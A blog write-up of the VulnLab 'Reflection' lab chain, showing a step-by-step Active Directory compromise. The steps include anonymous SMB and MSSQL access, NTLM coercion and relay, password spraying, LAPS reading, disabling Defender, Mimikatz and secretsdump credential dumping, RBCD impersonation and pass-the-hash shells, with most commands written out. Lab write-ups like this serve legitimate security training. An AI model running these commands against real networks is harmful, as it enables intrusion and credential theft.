VulnLab - Reflection Writeup
👾 Machine Overview
This is a writeup of the chain Reflection from VulnLab , it’s a medium difficulty chain which featured RBCD, MSSQL, credential reuse, and more.
🔍 Enumeration
An initial nmap scan of the hosts gave the following results:
1 | nmap -sV -sC -Pn 10.10.188.229-231 |
My scans were being pretty funky for this chain, I ended up retrying it a few times to get different results, but didn’t save em all.
📂 SMB
I started off by checking for anonymous SMB on all three hosts. Only the second host MS01
had anything.
1 | smbclient -N -L \\MS01.reflection.vl |
There’s a staging
share of interest with a staging_db.conf
file.
1 | smbclient -N \\\\MS01.reflection.vl\\staging |
Inside the config file there’s creds for the web_staging
user.
1 | user=web_staging |
🧮 Staging DB
I started off by connecting to the DB on MS01
with the creds we found using Impacket’s mssqlclient.py
.
1 | mssqlclient.py reflection.vl/web_staging:[PASSWORD]@MS01.reflection.vl |
First I checked out the available databases, and the server version.
1 | SQL (web_staging guest@master)> select @@version; |
Next, I checked out the staging DB to see what tables it had.
1 | SQL (web_staging guest@msdb)> SELECT * FROM staging.INFORMATION_SCHEMA.TABLES; |
There’s a users table I decided to check out to see if it had any credentials we could reuse.
1 | SQL (web_staging dbo@staging)> select * from users; |
Since that wasn’t interesting, I tried to enable xp_cmdshell
to get command execution, but that didn’t work.
I spun up responder and used xp_dirtree
to coerce authentication, and I got a hash for the svc_web_staging
account
I tried throwing this in hashcat, but it wouldn’t crack.
Since SMB signing was disabled, we should be able to use ntlmrelayx.
I made a target file with a list of all 3 hosts, spun up ntlmrelayx, and ran xp_dirtree
to coerce authentication.
1 | ntlmrelayx.py -tf target.list -smb2support --interactive |
🧮 Prod DB
That successfully got a session to DC01
, allowing us to download prod_db.conf
.
1 | # shares |
The config file had credentials for the web_prod
user, which we can use to connect to the production database on DC01
1 | mssqlclient.py reflection.vl/web_prod:[SNIPPED]@DC01.reflection.vl |
Here the DB looks very similar, except the users table contains real credentials for two users: aabie.smith
and dorothy.rose
.
I checked to confirm that the credentials worked, and sprayed a list of the credentials we’ve found across the users on the domain to check for password reuse.
1 | nxc smb DC01.reflection.vl -u user.list -p pass.list --continue-on-success |
Next, I ran Bloodhound as abbie.smith
.
1 | bloodhound-python -d reflection.vl -u abbie.smith -p '[PASSWORD]' -ns [DC IP] -c all |
💻 MS01
Abbie has GenericAll
over MS01
, so I started by checking the MAQ to see if we could perform Resource Based Constrained Delegation (RBCD) .
1 | nxc ldap DC01.reflection.vl -u dorothy.rose -p [PASSWORD] -M maq |
Since the MAQ is 0, we’d need to compromise another machine account to perform RBCD. Instead, we can try using our GenericAll
to read the LAPS password if it’s enabled.
1 | nxc ldap DC01.reflection.vl -d "reflection.vl" -u "abbie.smith" -p "[PASS]" --module laps |
This got us local admin credentials to MS01
, I used them to WinRM in and grab the first flag.
I used an SMB share to drop a sliver beacon, but they were getting nuked by defender. Next, I ran PrivEscCheck but didn’t see anything interesting.
I wanted to run Mimikatz, but it was getting stopped by defender. Since we’re local admin we can disable defender.
1 | Set-MpPreference -DisableRealtimeMonitoring $true |
From here, running Mimikatz I ran through a chunk of different options, eventually finding credentials for georgia.price
in vault. This is because there’s a scheduled task running as Georgia, storing her credentials.
1 | *Evil-WinRM* PS C:\Windows\Tasks> .\mimikatz.exe "token::elevate" "vault::cred /patch" "exit" |
I also tried running secretsdump, which got me access to credentials for svc_web_staging
, and the hash for the MS01$
machine account.
1 | secretsdump.py ./administrator:[PASS]@MS01 |
Georgia has GenericAll over WS01
, which we can now use for RBCD now that we have access to a machine account, MS01
.
💻 Resource Based Constrained Delegation
We’ll first need to set the delegation property to allow MS01
to impersonate users against WS01
, then we can request a ticket impersonating the administrator against WS01
.
1 | # RBCD |
Then, we can use secretsdump to dump credentials from WS01
, for this all to work the full hostname needs to be set in /etc/hosts
.
1 | export KRB5CCNAME=./Administrator@[email protected] |
This got us credentials for Rhys.Garner
, and the WS01$
machine account.
I tried getting a shell as Rhys but wasn’t able to do so via evil-winrm, psexec, etc.
Atexec can be used to create a scheduled task that will disable defender, allowing us to use psexec to get a shell.
1 | atexec.py -hashes :[SNIPPED]'ws01/[email protected]' 'powershell.exe -c "Set-MpPreference -DisableRealtimeMonitoring $true"' |
Now with defender disabled, we can grab a shell as the local administrator on WS01
, and grab the flag.
1 | psexec.py -hashes :[SNIPPED]'ws01/[email protected]' |
💻 Pivoting to the DC
WS01
ended up being pretty much useless. The end path comes from credential reuse by Rhys. Looking at the domain users, Rhys has a second account called dom_rgarner
which is in the Domain Admins group.
We can reuse his password on this account, I tested it using netexec.
1 | nxc smb DC01.reflection.vl -d "reflection.vl" -u "DOM_RGARNER" -p "[PASS]" |
This could also be discovered by running a new password spray on all domain users using the newly obtained credentials, which I’ve started to make more of a habit of.
We can WinRM in with these credentials to the DC and grab the flag, YIPPEE.
📖 Resources
🔗 Hyperlink | ℹ️ Info |
---|---|
Cybersec Notes | Machine Account Quota |
Cybersec Notes | Resource Based Constrained Delegation |
- Title: VulnLab - Reflection Writeup
- Author: Liam Geyer
- Created at : 2024-12-27 00:00:00
- Updated at : 2024-12-27 22:33:29
- Link: https://lfgberg.org/2024/12/27/vulnlab/reflection/
- License: This work is licensed under CC BY-NC-SA 4.0.